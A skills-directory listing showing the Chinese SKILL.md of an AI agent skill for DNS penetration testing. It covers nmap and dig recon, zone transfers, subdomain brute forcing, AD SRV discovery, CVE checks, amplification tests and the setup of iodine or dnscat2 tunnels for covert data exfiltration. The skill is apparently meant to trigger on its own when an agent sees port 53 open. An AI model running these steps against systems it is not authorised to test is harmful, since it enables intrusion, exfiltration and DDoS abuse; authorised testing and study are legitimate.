Skip to content
Back to skills

Dns Pentesting

ASecurity

DNS 服务(53 端口)渗透测试方法论。涵盖 DNS 服务发现与版本识别、区域传送测试(AXFR)、子域名枚举、DNS 缓存侦察、反向查询、DNS 隧道检测、已知漏洞利用。 当 Agent 扫描发现 53 端口开放、需要枚举 DNS 记录与子域名、测试区域传送、或通过 DNS 进行数据传输时,触发此 Skill。

  • 2 stars
  • 0 votes
  • 0 copies
  • 1 view
  • Added October 17, 2026
securitygobashrailstestingsecurity

Works with

  • cli

Security analysis

A100/100

Pro scans all 2 files and shows the line behind each finding

Scanned October 17, 2026

npx -y skills add NetVar1337/agent-skill-canon --skill dns-pentesting --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Dns Pentesting?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Dns Pentesting
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/netvar1337-dns-pentesting/badge)](https://www.skillsdirectory.com/skills/netvar1337-dns-pentesting)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: dns-pentesting
description: |
  DNS 服务(53 端口)渗透测试方法论。涵盖 DNS 服务发现与版本识别、区域传送测试(AXFR)、子域名枚举、DNS 缓存侦察、反向查询、DNS 隧道检测、已知漏洞利用。
  当 Agent 扫描发现 53 端口开放、需要枚举 DNS 记录与子域名、测试区域传送、或通过 DNS 进行数据传输时,触发此 Skill。
metadata:
  tags:
    - dns
    - 域名解析
    - 53端口
    - 区域传送
    - 子域名
    - axfr
    - dig
    - nslookup
  category: exploit/network-service
---

# DNS 渗透测试方法论 (53)

## 深入参考

- DNS 枚举与利用命令大全(dig / nslookup / dnsrecon / dnsenum / fierce / nmap 脚本) -> 读 [references/dns-techniques.md](references/dns-techniques.md)

---

## 整体决策树

```
发现 53 端口开放 (TCP/UDP)
├─ Phase 1: 服务发现与版本识别
│   ├─ 确定 DNS 软件与版本 (BIND / Windows DNS / dnsmasq / PowerDNS)
│   ├─ 判断是否权威服务器 (authoritative) 还是递归解析器 (recursive)
│   └─ 检查递归查询是否开放
│       ├─ 开放 -> 标记为可被滥用 (DNS 放大攻击),同时利用递归获取缓存信息
│       └─ 关闭 -> 仅可查询该服务器负责的区域
├─ Phase 2: 区域传送测试 (AXFR)
│   ├─ 成功 -> 获取完整区域记录,提取所有主机名、IP、内部域名
│   └─ 失败 -> 进入 Phase 3/4 逐步枚举
├─ Phase 3: DNS 记录枚举
│   ├─ A / AAAA / MX / NS / TXT / SOA / SRV / CNAME
│   ├─ AD 环境 SRV 记录 (_kerberos / _ldap / _gc)
│   └─ DNSSEC 记录 (DNSKEY / DS / NSEC / NSEC3)
│       └─ NSEC 遍历 -> 枚举所有域名 (未使用 NSEC3 时)
├─ Phase 4: 子域名枚举
│   ├─ 字典爆破 (dnsenum / dnsrecon / fierce / gobuster dns)
│   ├─ NSEC walking (针对 DNSSEC 签名域)
│   └─ 被动收集 (crt.sh / SecurityTrails / 不在本 skill 范围)
├─ Phase 5: 反向查询
│   ├─ PTR 记录反向解析 (目标 IP 段)
│   ├─ 发现内部主机名 -> 扩大攻击面
│   └─ 交叉验证 A 记录与 PTR 记录一致性
├─ Phase 6: DNS 隧道检测与利用
│   ├─ 检测 -> 观察异常长 TXT/NULL 查询、高频子域查询
│   └─ 利用 -> 通过 DNS 建立隐蔽数据通道 (iodine / dnscat2 / dns2tcp)
└─ Phase 7: 已知漏洞
    ├─ BIND 版本已知 -> 查询对应 CVE
    ├─ DNS 缓存投毒 (Kaminsky attack variant)
    └─ DNS 递归放大 (DDoS 反射)
```

---

## Phase 1: 服务发现与版本识别

### 1.1 端口扫描与服务探测

```bash
# Nmap 基础扫描 — TCP/UDP 均需覆盖
nmap -sV -sC -p 53 <IP>
nmap -sU -sV -p 53 <IP>

# Nmap DNS 专项脚本
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" <IP>
```

### 1.2 版本识别 (Banner Grabbing)

```
DNS 版本识别
├─ BIND nameserver
│   ├─ dig version.bind CHAOS TXT @<IP>
│   └─ dig version.server CHAOS TXT @<IP>
├─ fpdns 指纹工具
│   └─ fpdns -D <IP>
├─ Nmap nsid 脚本
│   └─ nmap -sU -p 53 --script dns-nsid <IP>
└─ 判断结果
    ├─ BIND 9.x -> 记录精确版本,查询 CVE
    ├─ Windows DNS -> 通常不返回版本,结合 OS 指纹推断
    └─ dnsmasq / PowerDNS -> 各有特定漏洞历史
```

**关键判断**:
- 版本可查 -> 直接搜索对应 CVE,跳转 Phase 7
- BIND < 9.11 -> 多个远程漏洞
- 递归开放 -> 可用于信息收集 + 标记放大攻击风险

### 1.3 递归查询检测

```bash
# 查询外部域名 — 如果返回结果则递归开放
dig google.com A @<IP>
# 检查响应中 "ra" (recursion available) 标志
# flags: qr rd ra -> 递归可用
# flags: qr rd    -> 递归不可用
```

---

## Phase 2: 区域传送测试 (AXFR)

### 2.1 区域传送决策树

```
测试区域传送
├─ 已知域名
│   ├─ dig axfr <DOMAIN> @<IP>
│   └─ 成功 -> 导出完整区域文件,提取所有记录
├─ 域名未知
│   ├─ dig axfr @<IP>  (无域名尝试)
│   ├─ 通过 SOA 查询获取域名: dig SOA @<IP> <IP_range>
│   └─ 通过反向解析猜测域名
├─ fierce 自动尝试
│   └─ fierce --domain <DOMAIN> --dns-servers <IP>
│       (自动对每个权威 NS 尝试区域传送,失败后进行字典爆破)
└─ 结果处理
    ├─ 成功 -> 保存完整记录,提取内部 IP、主机名、邮件服务器
    └─ 失败 (REFUSED / NOTAUTH) -> 配置正确,进入其他枚举方式
```

### 2.2 区域传送成功后的分析

**从区域文件中提取的高价值信息**:
- 内部主机名与 IP 映射 -> 扩大攻击面
- MX 记录 -> 邮件服务器位置
- TXT 记录 -> SPF/DKIM 配置、可能的验证令牌
- SRV 记录 -> 服务位置(AD 环境尤为重要)
- CNAME -> 外部依赖、可能的子域接管

---

## Phase 3: DNS 记录枚举

### 3.1 常用记录类型查询

```bash
# 标准记录查询
dig ANY @<IP> <DOMAIN>
dig A @<IP> <DOMAIN>
dig AAAA @<IP> <DOMAIN>
dig TXT @<IP> <DOMAIN>
dig MX @<IP> <DOMAIN>
dig NS @<IP> <DOMAIN>
dig SOA @<IP> <DOMAIN>
dig CNAME @<IP> <DOMAIN>
dig SRV @<IP> _http._tcp.<DOMAIN>
```

### 3.2 Active Directory SRV 记录

```
AD 环境 DNS 枚举
├─ 域控定位
│   ├─ dig -t SRV _gc._tcp.<DOMAIN> @<IP>
│   ├─ dig -t SRV _ldap._tcp.<DOMAIN> @<IP>
│   ├─ dig -t SRV _kerberos._tcp.<DOMAIN> @<IP>
│   └─ dig -t SRV _kpasswd._tcp.<DOMAIN> @<IP>
├─ nslookup 交互查询
│   └─ nslookup -type=srv _kerberos._tcp.<DOMAIN> <IP>
└─ Nmap SRV 枚举脚本
    └─ nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='<DOMAIN>'"
```

**关键判断**:发现 AD SRV 记录 -> 确认域环境存在,联动 `ad-domain-attack` skill

### 3.3 DNSSEC 枚举

```
DNSSEC 检查
├─ 查询 DNSKEY 和 DS 记录
│   ├─ dig DNSKEY <DOMAIN> @<IP> +dnssec
│   └─ dig DS <DOMAIN> @<IP>
├─ NSEC 记录遍历 (zone walking)
│   ├─ 域使用 NSEC (非 NSEC3) -> 可枚举所有域名
│   └─ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=<DOMAIN> <IP>
└─ NSEC3 -> 哈希保护,需离线破解或放弃遍历
```

---

## Phase 4: 子域名枚举

### 4.1 字典爆破

```
子域名爆破策略
├─ dnsenum
│   └─ dnsenum --dnsserver <IP> --enum -p 0 -s 0 -o subdomains.txt -f <WORDLIST> <DOMAIN>
├─ dnsrecon
│   └─ dnsrecon -D <WORDLIST> -d <DOMAIN> -n <IP>
├─ dnscan (支持递归发现)
│   └─ dnscan -d <DOMAIN> -r -w <WORDLIST>
├─ gobuster dns 模式
│   └─ gobuster dns -d <DOMAIN> -w <WORDLIST> -r <IP>:53
└─ 字典选择
    ├─ 快速: subdomains-top1million-5000.txt
    ├─ 标准: subdomains-top1million-20000.txt
    └─ 深度: subdomains-top1million-110000.txt (SecLists)
```

### 4.2 IPv6 子域名枚举

```bash
# 使用 AAAA 请求爆破 IPv6 地址
dnsdict6 -s -t <DOMAIN>

# IPv6 反向枚举
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48
```

---

## Phase 5: 反向查询

### 5.1 反向 DNS 爆破

```
反向解析策略
├─ 目标网段 PTR 扫描
│   ├─ dnsrecon -r <IP_RANGE>/24 -n <IP>
│   ├─ dig -x <TARGET_IP> @<IP>
│   └─ dig -x <TARGET_IPv6> @<IP>
├─ 内网常见段
│   ├─ dnsrecon -r 127.0.0.0/24 -n <IP>
│   └─ dnsrecon -r 127.0.1.0/24 -n <IP>
└─ 结果分析
    ├─ 发现内部主机名 -> 构建主机名列表用于后续枚举
    └─ 发现子域 -> 将其作为 AXFR/爆破的新目标
```

**提示**:如果子域名解析到内部 IP,尝试对该域名的权威 NS 进行反向 DNS 爆破,可能暴露更多内部基础设施。

### 5.2 在线反向查询

BGP 路由信息可辅助确定目标 IP 段归属:`https://bgp.he.net/net/<IP_RANGE>#_dns`

---

## Phase 6: DNS 隧道

### 6.1 检测 DNS 隧道

```
DNS 隧道特征识别
├─ 网络层指标
│   ├─ 异常长的 DNS 查询 (>50 字节子域名)
│   ├─ 高频 TXT / NULL / CNAME 查询
│   ├─ 单一域名的超高查询量
│   └─ DNS over TCP 流量异常增多
├─ 检测工具
│   ├─ tcpdump -i <IFACE> -n port 53 (人工分析)
│   ├─ Wireshark dns 过滤器 + 统计分析
│   └─ Zeek/Bro dns.log 异常检测
└─ 判断
    ├─ 发现隧道 -> 分析隧道工具类型,评估数据泄露风险
    └─ 未发现 -> 可自行建立隧道用于数据渗出
```

### 6.2 建立 DNS 隧道

```
DNS 隧道工具选择
├─ iodine (IP-over-DNS)
│   ├─ 需要控制一个域名的 NS 记录
│   ├─ 服务端: iodined -f -c -P <PASSWORD> 10.0.0.1 tunnel.<DOMAIN>
│   └─ 客户端: iodine -f -P <PASSWORD> tunnel.<DOMAIN>
├─ dnscat2 (命令控制通道)
│   ├─ 服务端: dnscat2-server <DOMAIN>
│   └─ 客户端: dnscat2 <DOMAIN>
└─ dns2tcp
    ├─ 适用于 TCP 端口转发
    └─ 配置文件方式运行
```

---

## Phase 7: 已知漏洞

### 7.1 漏洞检测决策树

```
DNS 版本已知
├─ BIND 漏洞
│   ├─ CVE-2021-25216 — BIND 9.x GSS-TSIG 缓冲区溢出
│   ├─ CVE-2020-8617 — BIND 9.x TSIG 验证绕过导致 DoS
│   ├─ CVE-2017-3143 — TSIG 认证绕过允许未授权区域更新
│   ├─ CVE-2016-2776 — BIND 9.x 响应构造 DoS
│   └─ 旧版本 -> 搜索 "BIND <version> CVE"
├─ Windows DNS
│   ├─ CVE-2020-1350 (SIGRed) — Windows DNS Server RCE (CVSS 10.0)
│   │   └─ 检测: nmap -p 53 --script dns-check-zone <IP> + 版本确认
│   └─ CVE-2021-24078 — Windows DNS Server RCE
├─ dnsmasq
│   ├─ CVE-2020-25681~25687 (DNSpooq) — 缓冲区溢出 + 缓存投毒
│   └─ CVE-2017-14491 — dnsmasq 堆溢出 RCE
├─ DNS 缓存投毒
│   ├─ 检测随机 TXID: nmap --script dns-random-txid <IP>
│   ├─ 检测随机源端口: nmap --script dns-random-srcport <IP>
│   └─ 两者均弱 -> Kaminsky 攻击变体可行
└─ DNS 递归放大 (DDoS)
    ├─ 递归开放 + ANY 查询响应 -> 放大因子高
    └─ dig ANY <LARGE_DOMAIN> @<IP>  (测试放大比)
```

### 7.2 Metasploit 模块

```bash
# DNS 枚举
auxiliary/gather/enum_dns

# DNS 放大扫描
auxiliary/scanner/dns/dns_amp
```

---

## 后渗透

获得 DNS 服务器访问权限后,检查以下配置文件:

| 文件路径 | 关注内容 |
|---------|---------|
| `/etc/bind/named.conf` | allow-transfer / allow-recursion / allow-query 配置 |
| `/etc/bind/named.conf.local` | 区域定义、密钥文件路径 |
| `/etc/bind/named.conf.options` | 转发器、ACL 策略 |
| `/etc/resolv.conf` | 上游 DNS 服务器 |
| `host.conf` | 解析顺序配置 |
| `/etc/bind/named.conf.log` | 日志配置、可能泄露查询历史 |

**关键配置审计**:
- `allow-transfer { any; }` -> 区域传送未限制
- `allow-recursion { any; }` -> 递归查询对外开放
- `allow-query { any; }` -> 无查询来源限制
- TSIG 密钥文件 -> 可用于授权区域更新

---

## 邮件探测技巧

向目标域不存在的邮箱地址发送邮件,NDN(不可送达通知)回弹邮件的头部可能泄露内部服务器名称和 IP 地址。

Files in this skill

  • SKILL.md11 KB
  • references/dns-techniques.md9.3 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.